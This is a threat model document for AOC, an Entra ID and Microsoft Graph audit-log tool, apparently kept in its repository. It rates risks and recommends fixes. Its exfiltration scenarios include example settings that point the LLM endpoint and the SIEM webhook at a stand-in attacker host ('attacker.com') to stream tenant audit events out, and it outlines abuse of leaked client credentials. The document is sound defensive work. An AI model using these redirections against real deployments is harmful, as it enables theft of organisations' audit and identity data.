Files
aoc/THREAT_MODEL_v1.7.13.md
Tomas Kracmar 8d951fc335
All checks were successful
CI / lint-and-test (push) Successful in 22s
Release / build-and-push (push) Successful in 1m7s
v1.7.14: LLM/SIEM domain allowlists, SRI hashes, auth misconfig warning, Azure Key Vault integration
2026-04-27 16:45:06 +02:00

17 KiB

AOC Threat Model — v1.7.13

Date: 2026-04-27 Scope: Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies Assumptions: Deployment is Docker Compose behind nginx reverse proxy; AUTH_ENABLED=true; AI_FEATURES_ENABLED may be true or false.


Attack Surface Map

┌─────────────────────────────────────────────────────────────────────────────┐
│                              ATTACKER                                        │
│         │                    │                    │                          │
│         ▼                    ▼                    ▼                          │
│  ┌─────────────┐    ┌──────────────┐    ┌─────────────────┐                 │
│  │  Frontend   │    │   API        │    │  Webhook        │                 │
│  │  (CDN JS)   │    │  (/api/*)    │    │  (/api/webhooks)│                 │
│  └──────┬──────┘    └──────┬───────┘    └────────┬────────┘                 │
│         │                  │                      │                          │
│         ▼                  ▼                      ▼                          │
│  ┌─────────────────────────────────────────────────────────────┐            │
│  │                    AOC BACKEND                               │            │
│  │  ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐    │            │
│  │  │  Auth    │  │  Events  │  │  Fetch   │  │  Ask/LLM │    │            │
│  │  │  (JWT)   │  │  (Mongo) │  │  (Graph) │  │  (HTTP)  │    │            │
│  │  └────┬─────┘  └────┬─────┘  └────┬─────┘  └────┬─────┘    │            │
│  │       │             │             │             │           │            │
│  │       ▼             ▼             ▼             ▼           │            │
│  │  ┌─────────────────────────────────────────────────────┐    │            │
│  │  │              SECRETS / CREDENTIALS                   │    │            │
│  │  │  CLIENT_SECRET  │  LLM_API_KEY  │  MONGO_PASSWORD   │    │            │
│  │  └─────────────────────────────────────────────────────┘    │            │
│  └─────────────────────────────────────────────────────────────┘            │
│         │                  │                      │                          │
│         ▼                  ▼                      ▼                          │
│  ┌─────────────┐    ┌──────────────┐    ┌─────────────────┐                 │
│  │ Microsoft   │    │  LLM API     │    │  SIEM Webhook   │                 │
│  │  Graph API  │    │  (OpenAI/    │    │  (optional)     │                 │
│  │             │    │   Azure)     │    │                 │                 │
│  └─────────────┘    └──────────────┘    └─────────────────┘                 │
└─────────────────────────────────────────────────────────────────────────────┘

1. Entra App Registration Abuse — HIGH

1.1 Client Credentials Leak = Full Tenant Read

How it works:

  • AOC uses client_credentials flow (graph/auth.py)
  • CLIENT_ID + CLIENT_SECRET are exchanged for an access token at login.microsoftonline.com
  • The token has https://graph.microsoft.com/.default scope
  • This grants all application permissions configured in the Entra app registration

Typical permissions:

  • Directory.Read.All — read all users, groups, devices, roles
  • AuditLog.Read.All — read all audit logs
  • DeviceManagementManagedDevices.Read.All — read all Intune devices

Attack scenario:

  1. Attacker gains read access to .env or the Docker container filesystem
  2. Attacker calls the token endpoint directly with the leaked CLIENT_ID/CLIENT_SECRET
  3. Attacker receives a Graph API access token valid for ~1 hour
  4. Attacker can query ALL tenant data independently of AOC

Impact: Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if Exchange.Read granted).

Mitigation in place: None. The backend needs these permissions to function.

Recommendation:

  • Store CLIENT_SECRET in a secret manager (Azure Key Vault, HashiCorp Vault) rather than .env
  • Use short-lived certificates instead of long-lived secrets for app authentication
  • Monitor Entra sign-in logs for anomalous client_credentials token requests
  • Restrict app registration permissions to the absolute minimum (e.g., AuditLog.Read.All + Directory.Read.All only)

1.2 No Scope Restriction on Graph Token

Finding: get_access_token() always requests https://graph.microsoft.com/.default — the full permission set. There's no mechanism to request narrower scopes for specific operations.

Impact: If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas.

Recommendation: Not easily fixable without splitting into multiple app registrations. Document as accepted risk.


2. Authentication & Token Validation — MEDIUM

2.1 JWKS Fetch Without TLS Certificate Validation Hardening

Finding: _get_jwks() fetches OIDC configuration and JWKS from login.microsoftonline.com using standard requests TLS validation. No certificate pinning or CA bundle restriction.

Attack scenario (advanced):

  1. Attacker compromises DNS or a network hop between AOC and Microsoft
  2. Attacker serves a fake JWKS endpoint with their own public key
  3. Attacker issues a forged JWT signed with their private key
  4. AOC validates the forged JWT against the attacker's public key
  5. Attacker gains authenticated access

Likelihood: Very low (requires DNS compromise or nation-state-level interception).

Mitigation: Standard TLS validation is in place. For high-security environments, consider pinning the login.microsoftonline.com certificate thumbprint.


2.2 Missing nbf / iat Claim Verification

Finding: _decode_token() verifies exp, tid, iss, and aud but does not check nbf (not before) or iat (issued at) claims.

Impact: A token used before its validity period (nbf) or with a suspicious future iat would be accepted. Minor issue — MSAL tokens are well-formed in practice.


2.3 Role/Group Gating Defaults to "Allow All"

Finding: In auth.py:

def _allowed(claims, allowed_roles, allowed_groups):
    if not allowed_roles and not allowed_groups:
        return True

Impact: If AUTH_ENABLED=true but AUTH_ALLOWED_ROLES and AUTH_ALLOWED_GROUPS are left empty (the default), every Entra user in the tenant can authenticate and use AOC. This is a common misconfiguration.

Recommendation: Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all.


2.4 Privacy Service Role Gating Also Defaults to "Allow All"

Finding: user_can_access_privacy_services() returns True if PRIVACY_SERVICE_ROLES is empty. If an admin configures PRIVACY_SERVICES (e.g., Exchange) but forgets to set PRIVACY_SERVICE_ROLES, all users see all privacy data.


3. Data Exfiltration Paths — HIGH

3.1 LLM Endpoint as Data Exfiltration Channel

Finding: When AI_FEATURES_ENABLED=true and LLM_API_KEY is set:

  • The /api/ask endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API
  • _validate_llm_url() blocks private IPs but does NOT restrict the domain to an allowlist
  • Any HTTPS URL is accepted

Attack scenario:

  1. Attacker gains .env write access (or container filesystem access)
  2. Attacker changes LLM_BASE_URL to https://attacker.com/fake-llm
  3. Attacker sends an /api/ask request like "show me all events"
  4. AOC queries MongoDB and sends up to LLM_MAX_EVENTS (default 200) events to the attacker's URL
  5. Attacker receives structured audit data including actor names, UPNs, device names, operation details

Impact: Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database.

Mitigation in place: SSRF guard blocks private IPs and localhost.

Gap: No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted.

Recommendation:

  • Add LLM_ALLOWED_DOMAINS config (e.g., api.openai.com,*.openai.azure.com)
  • Validate LLM_BASE_URL against this allowlist at startup and on every request
  • Log all LLM requests with event counts sent

3.2 SIEM Webhook as Real-Time Exfiltration Channel

Finding: siem.py forwards every normalized event to SIEM_WEBHOOK_URL during ingestion:

def forward_event(event):
    if not SIEM_ENABLED or not SIEM_WEBHOOK_URL:
        return
    requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10)

Gap: No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard.

Attack scenario:

  1. Attacker sets SIEM_ENABLED=true and SIEM_WEBHOOK_URL=https://attacker.com/collect
  2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL
  3. Attacker receives real-time stream of all tenant audit events

Impact: Real-time, continuous data exfiltration of all audit events.

Recommendation:

  • Add the same SSRF validation to SIEM_WEBHOOK_URL that exists for LLM_BASE_URL
  • Add SIEM_ALLOWED_DOMAINS config
  • Log SIEM forwarding failures prominently

3.3 Export Features (JSON/CSV)

Finding: The frontend has exportJSON() and exportCSV() functions that download all currently filtered events. These are authenticated but not rate-limited separately from /api/events.

Impact: A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit.

Risk level: LOW — requires valid auth and is noisy.


4. Webhook Abuse — MEDIUM

4.1 Graph Change Notification Webhook

Finding: /api/webhooks/graph receives Microsoft Graph change notifications:

  • Echoes validationToken for subscription handshake
  • Accepts notifications with optional clientState validation
  • WEBHOOK_CLIENT_SECRET is empty by default

Attack scenario 1 — Subscription hijacking:

  1. Attacker discovers the webhook URL (via API enumeration or guess)
  2. Attacker creates a Graph subscription pointing to the AOC webhook URL
  3. Attacker receives change notifications for the subscribed resource

Mitigation: Notifications without matching clientState are rejected when WEBHOOK_CLIENT_SECRET is configured. But it's empty by default.

Attack scenario 2 — Validation token abuse:

  1. Attacker sends a POST to /api/webhooks/graph?validationToken=<arbitrary content>
  2. AOC echoes the token back as text/plain
  3. Could be used for cache poisoning or response splitting

Mitigation: Length and ASCII validation added in v1.7.12.

Recommendation:

  • Require WEBHOOK_CLIENT_SECRET to be set in production
  • Document that the webhook endpoint should NOT be exposed to the public internet

5. Supply Chain — MEDIUM

5.1 CDN Scripts Without Subresource Integrity (SRI)

Finding: The frontend loads two external scripts without SRI hashes:

<script defer src="https://cdn.jsdelivr.net/npm/alpinejs@3.x.x/dist/cdn.min.js"></script>
<script src="https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js" crossorigin="anonymous"></script>

Attack scenario:

  1. cdn.jsdelivr.net or alcdn.msauth.net is compromised (supply chain attack)
  2. Malicious JavaScript is served instead of the legitimate library
  3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data

Impact: Complete frontend compromise — token theft, data exfiltration, UI spoofing.

Recommendation:

  • Add SRI hashes to both script tags:
    <script defer src="..." integrity="sha384-..." crossorigin="anonymous"></script>
    
  • Or vendor the JS files and serve them from the same origin

6. Privilege Escalation — MEDIUM

6.1 Application Permissions Bypass User Boundaries

Finding: Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (PRIVACY_SERVICES) is the only boundary — and it's opt-in.

Impact: A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if:

  • PRIVACY_SERVICES is not configured, OR
  • PRIVACY_SERVICE_ROLES is not configured

Recommendation:

  • Document that AOC should be restricted to admin/security roles via AUTH_ALLOWED_ROLES
  • Consider adding per-user event filtering (only show events where the authenticated user is the actor or target)

7. Miscellaneous Vectors — LOW

7.1 Token Cache in Memory

Finding: _TOKEN_CACHE in graph/auth.py is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call get_access_token() directly.

Impact: Attacker with code execution can get Graph API tokens. But if they have code execution, they already have CLIENT_SECRET from memory or .env.

7.2 MongoDB Connection String

Finding: MONGO_URI contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls.

Mitigation: MongoDB is internal to Docker network (not exposed to host in production compose file).

7.3 Audit Trail Log Injection

Finding: audit_trail.log_action() stores actions in MongoDB. The details dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS.

Risk level: LOW — audit logs are not currently rendered in the UI.


Risk Summary

Vector Severity Likelihood Requires
Client secret leak → full tenant read HIGH Medium .env or container access
LLM endpoint hijacking → data exfil HIGH Low .env write access
SIEM webhook hijacking → real-time exfil HIGH Low .env write access
CDN compromise → frontend token theft MEDIUM Low Supply chain attack
Role gating misconfig → all users access MEDIUM High Misconfiguration
Webhook subscription hijacking MEDIUM Low URL discovery
DNS compromise → fake JWKS MEDIUM Very low Network compromise
Application permissions bypass boundaries MEDIUM High Default config
Token replay LOW Low Token theft
Audit log injection LOW Low Filter manipulation

Immediate Recommendations

  1. Add LLM domain allowlist (LLM_ALLOWED_DOMAINS) and validate at startup
  2. Add SIEM SSRF guard — reuse _validate_llm_url() for SIEM_WEBHOOK_URL
  3. Add SRI hashes to CDN script tags, or vendor the libraries
  4. Add startup warning when auth is enabled but no AUTH_ALLOWED_ROLES/AUTH_ALLOWED_GROUPS configured
  5. Document webhook security — require WEBHOOK_CLIENT_SECRET in production
  6. Consider Key Vault integration for CLIENT_SECRET and LLM_API_KEY
  7. Add per-user filtering option — restrict events to those involving the authenticated user